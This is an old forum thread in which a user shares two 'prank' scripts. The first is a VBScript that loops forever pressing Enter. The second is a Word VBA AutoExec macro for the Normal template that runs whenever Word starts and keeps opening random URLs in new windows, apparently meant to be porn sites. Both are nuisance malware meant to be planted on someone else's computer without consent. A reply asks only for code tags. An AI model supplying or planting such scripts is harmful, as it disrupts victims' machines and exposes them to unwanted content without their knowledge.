Pranks 2008

[Wutz]

Anyone got any code for good excel or word pranks heres 2 of my favourite's

Step1: Open note pad

Step 2: Copy this code
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Step 3: Save the file but be sure to end it with .vbs


Pranks 2

Copy This Code into your Normal Template ( It’s under NORMAL)

Sub AutoExec()
counter = CStr(Int((2 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="pron"
End Sub


Sub pron()
Dim pronlist(1 To 10) As String
Dim count As Integer
pronlist(1) = "http://www.whatever.com"
pronlist(2) = "http://www.whatever.com"
pronlist(3) = "http://www.whatever..com"
pronlist(4) = "http://www.whatever..com"
pronlist(5) = "http://whatever..com/"
pronlist(6) = "http://www.whatever..com"
pronlist(7) = "http://www.whatever."
pronlist(8) = "http://www.whatever..com"
pronlist(9) = "http://www.whatever..com"
pronlist(10) = "http://www.whatever..com"
counter = CStr(Int((10 - 1 + 1) * Rnd + 1))
ActiveDocument.FollowHyperlink Address:=pronlist(counter), NewWindow:=True
Call AutoExec
End Sub

Step 4: Save

[royUK]

Wutz, read the Rules & use Code tags please.

[Wutz]

Will do roy!